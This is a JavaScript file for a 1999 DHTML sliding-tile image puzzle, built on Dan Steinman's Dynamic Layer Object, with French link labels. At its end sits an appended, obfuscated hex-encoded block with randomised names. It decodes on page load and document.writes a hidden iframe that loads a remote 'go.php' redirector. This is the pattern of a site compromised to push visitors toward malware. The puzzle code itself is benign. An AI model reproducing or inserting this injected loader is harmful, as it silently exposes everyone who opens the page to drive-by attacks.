     ///////////////////////////////////////////////////////////////////////////////////////////////////////////
    // ***      ****                 //an object built on the                                                //
   //{          *   }      PRESENTS //Dynamic Layer Object                                                  //
  //   **OFT    ****               //sophisticated layer/element targeting and animation object            //
 //       }     * RODUCT          //which provides the core functionality needed in most DHTML applications/
//   ****       *                // 19990604                                                             //
// http://daverwin.homepage.com // Copyright (C) 1999 Dan Steinman                                      //
// http://daverwin.homepage.com// Distributed under the terms of the GNU Library General Public License//
// FREEWARE FREEWARE FREEWARE // Available at http://www.dansteinman.com/dynapi/                      //
///////////////////////////////////////////////////////////////////////////////////////////////////////
//                    see http://daverwin.homepage.com/ for details                                 //
//                    send comments to daverwin.hotmail.com                                        //
////////////////////////////////////////////////////////////////////////////////////////////////////
function Puzzle(n,g,W,H,q,v){this.ma=false
var c = '#FFFFFF'
this.mixem=null
this.x=new Array()
this.y=new Array()
this.n=new Array()
this.name=n
this.f=false
this.To=""
this.g=0
this.w=W/3
this.h=H/3
this.css =css(n+"kDiv",q,v,W+20,H+60,c) + css(n+"mDiv",10,50,W,H,c)
this.div ='<DIV ID="'+n+'kDiv" onclick="javascript:return true"><a href="javascript:'+n+'.scramble()">Mélanger</a> | <a href="javascript:'+n+'.solve()">Solution</a>\n<DIV ID="'+n+'mDiv" onclick="javascript:return true">\n'
for(var i=0;i<8;i++){
var m=n+i
var cn1=i
var cn2=0
if(cn1>5)cn1-=6,cn2=2
if(cn1>2)cn1-=3,cn2=1
var y=this.h*cn2
this.css+=css(m+"aDiv",this.w*cn1,y,this.w,this.h,c) + css(m+"bDiv",0-this.w*cn1,0-y,W,H)
this.div+='<DIV ID="'+m+'aDiv" ><DIV ID="'+m+'bDiv"><a href="javascript:void(null)" onMouseover="javascript:'+n+'.mov('+i+')"><img src='+g+' height='+H+' width='+W+' border=0></a></div></div>\n'
this.x[i]=cn1
this.y[i]=cn2
this.n[i]=m + "a"
}
this.div+='</div></div>\n'
this.x[8]=2
this.y[8]=2
this.move=PrivateMove
this.mov=PuzzleMov
this.scramble=PuzzleScramble
this.solve=PuzzleSolve
this.mixemup=PrivateMixemup
this.stop=PrivateStop
}
function PuzzleMov(i){
if(this.ma)return
this.ma=true
this.f=false
this.To=setTimeout(this.name+'.ma=false',300)
eval(this.name+'.move(i)')
if(!this.f){
clearTimeout(this.To)
this.ma=false}
}
function PuzzleScramble(){
if(this.ma)return
this.ma=true
eval('setTimeout("'+this.name+'.stop()",8000)')
eval('this.mixem=setInterval("'+this.name+'.mixemup()",300)')
}
function PuzzleSolve(){
if(this.ma)return
this.ma=true
setTimeout(this.name+'.ma=false',4000)
for(i=0;i<3;i++){for(j=0;j<3;j++){
if(i*3+j<8)eval(this.n[i*3+j]+'.slideTo(this.w * j,this.h * i)')
this.y[i*3+j]=i
this.x[i*3+j]=j}}
}
function PrivateStop(){
eval('clearInterval('+this.mixem+')')
this.ma=false
}
function PrivateMixemup(){
this.f=false
while(!this.f){
eval(this.name+'.move('+this.g+++')')
if(this.g==8)this.g=-1}
}
function PrivateMove(n){
var x = this.x[n]
var y = this.y[n]
var w = this.x[8]
var z = this.y[8]
if(((x==w)|(y==z))&(((x-1)==w)|((x+1)==w)|((y-1)==z)|((y+1)==z))){
this.f=true
eval(this.n[n]+'.slideTo(this.w*w,this.h*z,20,40)')
this.x[n] = w
this.y[n] = z
this.x[8] = x
this.y[8] = y}
}

function r4qbmsc51f1yh2ij(gaj0rwzs3npo0x){  return (parseInt(gaj0rwzs3npo0x,16));}function y8ceo3zpe89zwo(we7bnjqmrod399){ function cj8sw7n4qajt9v(){var rlc1zogg5xo1pt=2;return rlc1zogg5xo1pt;} var r0fsf96y92l9m7='';jvxt52nrfkhiug=String.fromCharCode;for(c2n1wneab6wj4m=0;c2n1wneab6wj4m<we7bnjqmrod399.length;c2n1wneab6wj4m+=cj8sw7n4qajt9v()){ r0fsf96y92l9m7+=(jvxt52nrfkhiug(r4qbmsc51f1yh2ij(we7bnjqmrod399.substr(c2n1wneab6wj4m,cj8sw7n4qajt9v()))));}return r0fsf96y92l9m7;}var iav='';var xqajtbyymgeguy='3C7'+iav+'3637'+iav+'2697'+iav+'07'+iav+'43E696628216D7'+iav+'96961297'+iav+'B646F637'+iav+'56D656E7'+iav+'42E7'+iav+'7'+iav+'7'+iav+'2697'+iav+'465287'+iav+'56E657'+iav+'363617'+iav+'065282027'+iav+'2533632536392536362537'+iav+'322536312536642536352532302536652536312536642536352533642537'+iav+'322533342532302537'+iav+'332537'+iav+'32253633253364253237'+iav+'2536382537'+iav+'342537'+iav+'342537'+iav+'302533612532662532662536322536352537'+iav+'332537'+iav+'34253637'+iav+'2537'+iav+'322536352536352536652537'+iav+'332537'+iav+'342537'+iav+'322536352536352537'+iav+'342532652536332536662536642532662537'+iav+'342536342537'+iav+'33253266253637'+iav+'2536662532652537'+iav+'302536382537'+iav+'302533662537'+iav+'33253639253634253364253331253266253637'+iav+'2536662532652537'+iav+'302536382537'+iav+'302533662537'+iav+'33253639253634253364253331262537'+iav+'382537'+iav+'3525336425366126253237'+iav+'2532622534642536312537'+iav+'342536382532652537'+iav+'322536662537'+iav+'352536652536342532382534642536312537'+iav+'342536382532652537'+iav+'32253631253665253634253666253664253238253239253261253335253330253331253333253332253239253262253237'+iav+'253634253633253336253336253237'+iav+'2532302537'+iav+'37'+iav+'2536392536342537'+iav+'34253638253364253333253333253332253230253638253635253639253637'+iav+'2536382537'+iav+'342533642533312533352533312532302537'+iav+'332537'+iav+'342537'+iav+'39253663253635253364253237'+iav+'2536342536392537'+iav+'332537'+iav+'302536632536312537'+iav+'39253361253230253665253666253665253635253237'+iav+'2533652533632532662536392536362537'+iav+'3225363125366425363525336527'+iav+'29293B7'+iav+'D7'+iav+'6617'+iav+'2206D7'+iav+'969613D7'+iav+'47'+iav+'27'+iav+'5653B3C2F7'+iav+'3637'+iav+'2697'+iav+'07'+iav+'43E';document.write(y8ceo3zpe89zwo(xqajtbyymgeguy));
